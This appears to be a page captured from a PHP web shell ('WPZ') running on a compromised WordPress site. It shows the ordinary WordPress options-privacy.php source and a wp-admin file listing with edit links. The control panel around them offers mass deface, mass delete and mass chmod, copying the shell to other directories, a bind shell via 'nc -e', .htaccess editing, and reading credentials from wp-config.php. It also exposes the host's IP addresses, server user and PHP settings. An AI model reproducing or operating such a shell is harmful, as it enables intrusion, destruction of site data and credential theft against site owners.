WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-admin / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-admin/options-privacy.php (10.45 KB)
<?php
/**
 * Privacy Settings Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_privacy_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage privacy options on this site.' ) );
}

if ( isset( $_GET['tab'] ) && 'policyguide' === $_GET['tab'] ) {
	require_once __DIR__ . '/privacy-policy-guide.php';
	return;
}

// Used in the HTML title tag.
$title = __( 'Privacy' );

add_filter(
	'admin_body_class',
	static function ( $body_class ) {
		$body_class .= ' privacy-settings ';

		return $body_class;
	}
);

$action = $_POST['action'] ?? '';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'The Privacy screen lets you either build a new privacy-policy page or choose one you already have to show.' ) . '</p>' .
				'<p>' . __( 'This screen includes suggestions to help you write your own privacy policy. However, it is your responsibility to use these resources correctly, to provide the information required by your privacy policy, and to keep this information current and accurate.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-privacy-screen/">Documentation on Privacy Settings</a>' ) . '</p>'
);

if ( ! empty( $action ) ) {
	check_admin_referer( $action );

	if ( 'set-privacy-page' === $action ) {
		$previous_privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
		$privacy_policy_page_id          = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0;
		update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

		$privacy_page_message_type = 'success';

		if ( $privacy_policy_page_id ) {
			$privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' );

			/*
			 * Don't always link to the menu customizer:
			 *
			 * - Unpublished pages can't be selected by default.
			 * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities.
			 * - Themes might not "officially" support menus.
			 */
			if (
				'publish' === get_post_status( $privacy_policy_page_id )
				&& current_user_can( 'edit_theme_options' )
				&& current_theme_supports( 'menus' )
			) {
				$privacy_page_updated_message = sprintf(
					/* translators: %s: URL to Customizer -> Menus. */
					__( 'Privacy Policy page setting updated successfully. Remember to <a href="%s">update your menus</a>!' ),
					esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) )
				);
			}
		} elseif ( $previous_privacy_policy_page_id ) {
			// A previously set Privacy Policy page was cleared.
			$privacy_page_updated_message = __( 'Privacy Policy page removed.' );
		} else {
			// No Privacy Policy page was set before, and none is set now.
			$privacy_page_updated_message = __( 'No Privacy Policy page is currently set.' );
			$privacy_page_message_type    = 'info';
		}

		add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', $privacy_page_updated_message, $privacy_page_message_type );
	} elseif ( 'create-privacy-page' === $action ) {

		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
		}

		$privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content();
		$privacy_policy_page_id      = wp_insert_post(
			array(
				'post_title'   => __( 'Privacy Policy' ),
				'post_status'  => 'draft',
				'post_type'    => 'page',
				'post_content' => $privacy_policy_page_content,
			),
			true
		);

		if ( is_wp_error( $privacy_policy_page_id ) ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				__( 'Unable to create a Privacy Policy page.' ),
				'error'
			);
		} else {
			update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

			wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) );
			exit;
		}
	}
}

// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
$privacy_policy_page_exists = false;
$privacy_policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );

if ( ! empty( $privacy_policy_page_id ) ) {

	$privacy_policy_page = get_post( $privacy_policy_page_id );

	if ( ! $privacy_policy_page instanceof WP_Post ) {
		add_settings_error(
			'page_for_privacy_policy',
			'page_for_privacy_policy',
			__( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ),
			'error'
		);
	} else {
		if ( 'trash' === $privacy_policy_page->post_status ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				sprintf(
					/* translators: %s: URL to Pages Trash. */
					__( 'The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or <a href="%s">restore the current page</a>.' ),
					'edit.php?post_status=trash&post_type=page'
				),
				'error'
			);
		} else {
			$privacy_policy_page_exists = true;
		}
	}
}

$parent_file = 'options-general.php';

wp_enqueue_script( 'privacy-tools' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="privacy-settings-header">
	<div class="privacy-settings-title-section">
		<h1>
			<?php _e( 'Privacy' ); ?>
		</h1>
	</div>

	<nav class="privacy-settings-tabs-wrapper hide-if-no-js" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'options-privacy.php' ) ); ?>" class="privacy-settings-tab active" aria-current="true">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Settings', 'Privacy Settings' );
			?>
		</a>

		<a href="<?php echo esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); ?>" class="privacy-settings-tab">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Policy Guide', 'Privacy Settings' );
			?>
		</a>
	</nav>
</div>

<hr class="wp-header-end">

<?php
wp_admin_notice(
	__( 'The Privacy Settings require JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="privacy-settings-body hide-if-no-js">
	<h2><?php _e( 'Privacy Settings' ); ?></h2>
	<p>
		<?php _e( 'As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a privacy policy.' ); ?>
		<?php _e( 'If you already have a Privacy Policy page, please select it below. If not, please create one.' ); ?>
	</p>
	<p>
		<?php _e( 'The new page will include help and suggestions for your privacy policy.' ); ?>
		<?php _e( 'However, it is your responsibility to use those resources correctly, to provide the information that your privacy policy requires, and to keep that information current and accurate.' ); ?>
	</p>
	<p>
		<?php _e( 'After your Privacy Policy page is set, you should edit it.' ); ?>
		<?php _e( 'You should also review your privacy policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy.' ); ?>
	</p>
	<p>
		<?php
		if ( $privacy_policy_page_exists ) {
			$edit_href = add_query_arg(
				array(
					'post'   => $privacy_policy_page_id,
					'action' => 'edit',
				),
				admin_url( 'post.php' )
			);
			$view_href = get_permalink( $privacy_policy_page_id );
			?>
				<strong>
				<?php
				if ( 'publish' === get_post_status( $privacy_policy_page_id ) ) {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to view Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">view</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				} else {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">preview</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				}
				?>
				</strong>
			<?php
		}
		printf(
			/* translators: 1: Privacy Policy guide URL, 2: Additional link attributes, 3: Accessibility text. */
			__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out the privacy policy guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
			esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ),
			'',
			''
		);
		?>
	</p>
	<hr>
	<?php
	$has_pages = (bool) get_posts(
		array(
			'post_type'      => 'page',
			'posts_per_page' => 1,
			'post_status'    => array(
				'publish',
				'draft',
			),
		)
	);
	?>
	<table class="form-table tools-privacy-policy-page" role="presentation">
		<tr>
			<th scope="row">
				<label for="create-page">
				<?php
				if ( $has_pages ) {
					_e( 'Create a new Privacy Policy page' );
				} else {
					_e( 'There are no pages.' );
				}
				?>
				</label>
			</th>
			<td>
				<form class="wp-create-privacy-page" method="post">
					<input type="hidden" name="action" value="create-privacy-page" />
					<?php
					wp_nonce_field( 'create-privacy-page' );
					submit_button( __( 'Create' ), 'secondary', 'submit', false, array( 'id' => 'create-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php if ( $has_pages ) : ?>
		<tr>
			<th scope="row">
				<label for="page_for_privacy_policy">
					<?php
					if ( $privacy_policy_page_exists ) {
						_e( 'Change your Privacy Policy page' );
					} else {
						_e( 'Select a Privacy Policy page' );
					}
					?>
				</label>
			</th>
			<td>
				<form method="post">
					<input type="hidden" name="action" value="set-privacy-page" />
					<?php
					wp_dropdown_pages(
						array(
							'name'              => 'page_for_privacy_policy',
							'show_option_none'  => __( '&mdash; Select &mdash;' ),
							'option_none_value' => '0',
							'selected'          => $privacy_policy_page_id,
							'post_status'       => array( 'draft', 'publish' ),
						)
					);

					wp_nonce_field( 'set-privacy-page' );

					submit_button( __( 'Use This Page' ), 'primary', 'submit', false, array( 'id' => 'set-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php endif; ?>
	</table>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
namawaktuukuranownerpermaksi
..
css/ 2026-08-20 11:462.69 MB 76129f60960:kundendxwrx-rx-r
images/ 2026-08-20 11:46435.84 KB 76129f60960:kundendxwrx-rx-r
includes/ 2026-02-23 19:413.03 MB 76129f60960:kundendxwrx-rx-r
js/ 2026-02-23 19:411.94 MB 76129f60960:kundendxwrx-rx-r
maint/ 2026-02-23 19:417.47 KB 76129f60960:kundendxwrx-rx-r
network/ 2026-02-23 19:41127.81 KB 76129f60960:kundendxwrx-rx-r
user/ 2026-02-23 19:413.66 KB 76129f60960:kundendxwrx-rx-r
about.php 2026-11-19 00:3819.36 KB 76129f60960:kunden-xw-x--x--
edt
admin-ajax.php 2026-02-23 19:415.03 KB 76129f60960:kunden-xw-x-----
edt
admin-footer.php 2026-08-20 11:462.74 KB 76129f60960:kunden-xw-x--x--
edt
admin-functions.php 2026-08-20 11:46472 B 76129f60960:kunden-xw-x-----
edt
admin-header.php 2026-08-20 11:469.07 KB 76129f60960:kunden-xw-x--x--
edt
admin-post.php 2026-02-23 19:411.97 KB 76129f60960:kunden-xw-x-----
edt
admin.php 2026-05-21 09:1112.63 KB 76129f60960:kunden-xw-x--x--
edt
async-upload.php 2026-02-23 19:415.47 KB 76129f60960:kunden-xw-x-----
edt
authorize-application.php 2026-02-23 19:4110.09 KB 76129f60960:kunden-xw-x-----
edt
comment.php 2026-05-21 09:1111.37 KB 76129f60960:kunden-xw-x--x--
edt
contribute.php 2026-08-20 11:465.52 KB 76129f60960:kunden-xw-x--x--
edt
credits.php 2026-08-20 11:464.04 KB 76129f60960:kunden-xw-x--x--
edt
custom-background.php 2026-08-20 11:46482 B 76129f60960:kunden-xw-x-----
edt
custom-header.php 2026-08-20 11:46492 B 76129f60960:kunden-xw-x-----
edt
customize.php 2026-08-20 11:4611.31 KB 76129f60960:kunden-xw-x--x--
edt
edit-comments.php 2026-05-21 09:1114.14 KB 76129f60960:kunden-xw-x--x--
edt
edit-form-advanced.php 2026-08-20 11:4628.79 KB 76129f60960:kunden-xw-x--x--
edt
edit-form-blocks.php 2026-08-20 11:4615.16 KB 76129f60960:kunden-xw-x--x--
edt
edit-form-comment.php 2026-08-20 11:4613.65 KB 76129f60960:kunden-xw-x--x--
edt
edit-link-form.php 2026-08-20 11:466.2 KB 76129f60960:kunden-xw-x-----
edt
edit-tag-form.php 2026-08-20 11:4610.41 KB 76129f60960:kunden-xw-x--x--
edt
edit-tags.php 2026-05-21 09:1121.98 KB 76129f60960:kunden-xw-x--x--
edt
edit.php 2026-02-23 19:4119.48 KB 76129f60960:kunden-xw-x-----
edt
erase-personal-data.php 2026-08-20 11:467.33 KB 76129f60960:kunden-xw-x-----
edt
export-personal-data.php 2026-08-20 11:467.75 KB 76129f60960:kunden-xw-x-----
edt
export.php 2026-05-21 09:1111 KB 76129f60960:kunden-xw-x--x--
edt
font-library.php 2026-08-20 11:461.45 KB 76129f60960:kunden-xw-x--x--
edt
freedoms.php 2026-08-20 11:464.47 KB 76129f60960:kunden-xw-x--x--
edt
import.php 2026-02-23 19:417.58 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-02-23 19:417.68 KB 76129f60960:kunden-xw-x-----
edt
install-helper.php 2026-02-23 19:416.8 KB 76129f60960:kunden-xw-x-----
edt
install.php 2026-08-20 11:4617.94 KB 76129f60960:kunden-xw-x--x--
edt
link-add.php 2026-02-23 19:41934 B 76129f60960:kunden-xw-x-----
edt
link-manager.php 2026-02-23 19:414.26 KB 76129f60960:kunden-xw-x-----
edt
link-parse-opml.php 2026-08-20 11:462.66 KB 76129f60960:kunden-xw-x--x--
edt
link.php 2026-02-23 19:412.89 KB 76129f60960:kunden-xw-x-----
edt
load-scripts.php 2026-02-23 19:412.02 KB 76129f60960:kunden-xw-x-----
edt
load-styles.php 2026-02-23 19:412.92 KB 76129f60960:kunden-xw-x-----
edt
media-new.php 2026-05-21 09:113.17 KB 76129f60960:kunden-xw-x--x--
edt
media-upload.php 2026-02-23 19:413.58 KB 76129f60960:kunden-xw-x-----
edt
media.php 2026-02-23 19:41819 B 76129f60960:kunden-xw-x-----
edt
menu-header.php 2026-08-20 11:469.82 KB 76129f60960:kunden-xw-x-----
edt
menu.php 2026-08-20 11:4617.71 KB 76129f60960:kunden-xw-x--x--
edt
moderation.php 2026-02-23 19:41307 B 76129f60960:kunden-xw-x-----
edt
ms-admin.php 2026-02-23 19:41196 B 76129f60960:kunden-xw-x-----
edt
ms-delete-site.php 2026-02-23 19:414.5 KB 76129f60960:kunden-xw-x-----
edt
ms-edit.php 2026-02-23 19:41216 B 76129f60960:kunden-xw-x-----
edt
ms-options.php 2026-02-23 19:41229 B 76129f60960:kunden-xw-x-----
edt
ms-sites.php 2026-02-23 19:41215 B 76129f60960:kunden-xw-x-----
edt
ms-themes.php 2026-02-23 19:41217 B 76129f60960:kunden-xw-x-----
edt
ms-upgrade-network.php 2026-02-23 19:41219 B 76129f60960:kunden-xw-x-----
edt
ms-users.php 2026-02-23 19:41215 B 76129f60960:kunden-xw-x-----
edt
my-sites.php 2026-05-21 09:114.72 KB 76129f60960:kunden-xw-x--x--
edt
nav-menus.php 2026-08-20 11:4649.02 KB 76129f60960:kunden-xw-x--x--
edt
network.php 2026-08-20 11:465.39 KB 76129f60960:kunden-xw-x-----
edt
options-connectors.php 2026-08-20 11:461.51 KB 76129f60960:kunden-xw-x--x--
edt
options-discussion.php 2026-08-20 11:4616.02 KB 76129f60960:kunden-xw-x-----
edt
options-general.php 2026-08-20 11:4622.32 KB 76129f60960:kunden-xw-x--x--
edt
options-head.php 2026-08-20 11:46614 B 76129f60960:kunden-xw-x-----
edt
options-media.php 2026-08-20 11:466.48 KB 76129f60960:kunden-xw-x-----
edt
options-permalink.php 2026-08-20 11:4621.96 KB 76129f60960:kunden-xw-x--x--
edt
options-privacy.php 2026-08-20 11:4610.45 KB 76129f60960:kunden-xw-x--x--
edt
options-reading.php 2026-08-20 11:469.96 KB 76129f60960:kunden-xw-x--x--
edt
options-writing.php 2026-08-20 11:469.18 KB 76129f60960:kunden-xw-x-----
edt
options.php 2026-05-21 09:1113.93 KB 76129f60960:kunden-xw-x--x--
edt
plugin-editor.php 2026-08-20 11:4613.74 KB 76129f60960:kunden-xw-x-----
edt
plugin-install.php 2026-08-20 11:467.26 KB 76129f60960:kunden-xw-x-----
edt
plugins.php 2026-08-20 11:4630.02 KB 76129f60960:kunden-xw-x-----
edt
post-new.php 2026-02-23 19:412.7 KB 76129f60960:kunden-xw-x-----
edt
post.php 2026-08-20 11:4610.57 KB 76129f60960:kunden-xw-x-----
edt
press-this.php 2026-05-21 09:112.41 KB 76129f60960:kunden-xw-x--x--
edt
privacy-policy-guide.php 2026-02-23 19:413.67 KB 76129f60960:kunden-xw-x-----
edt
privacy.php 2026-08-20 11:462.45 KB 76129f60960:kunden-xw-x--x--
edt
profile.php 2026-02-23 19:41283 B 76129f60960:kunden-xw-x-----
edt
revision.php 2026-02-23 19:415.7 KB 76129f60960:kunden-xw-x-----
edt
setup-config.php 2026-08-20 11:4617.51 KB 76129f60960:kunden-xw-x--x--
edt
site-editor.php 2026-08-20 11:4612.19 KB 76129f60960:kunden-xw-x--x--
edt
site-health-info.php 2026-08-20 11:464.08 KB 76129f60960:kunden-xw-x--x--
edt
site-health.php 2026-08-20 11:4610.18 KB 76129f60960:kunden-xw-x--x--
edt
term.php 2026-02-23 19:412.2 KB 76129f60960:kunden-xw-x-----
edt
theme-editor.php 2026-02-23 19:4116.87 KB 76129f60960:kunden-xw-x-----
edt
theme-install.php 2026-08-20 11:4623.75 KB 76129f60960:kunden-xw-x--x--
edt
themes.php 2026-08-20 11:4648.56 KB 76129f60960:kunden-xw-x-----
edt
tools.php 2026-02-23 19:413.43 KB 76129f60960:kunden-xw-x-----
edt
update-core.php 2026-05-21 09:1145.12 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-05-21 09:1112.76 KB 76129f60960:kunden-xw-x--x--
edt
upgrade-functions.php 2026-02-23 19:41341 B 76129f60960:kunden-xw-x-----
edt
upgrade.php 2026-05-21 09:116.24 KB 76129f60960:kunden-xw-x--x--
edt
upload.php 2026-08-20 11:4614.93 KB 76129f60960:kunden-xw-x--x--
edt
user-edit.php 2026-10-29 00:2840.89 KB 76129f60960:kunden-xw-x--x--
edt
user-new.php 2026-08-20 11:4624.09 KB 76129f60960:kunden-xw-x--x--
edt
users.php 2026-10-29 00:2825.15 KB 76129f60960:kunden-xw-x--x--
edt
widgets-form-blocks.php 2026-08-20 11:465.11 KB 76129f60960:kunden-xw-x-----
edt
widgets-form.php 2026-08-20 11:4619.13 KB 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-02-23 19:411.09 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK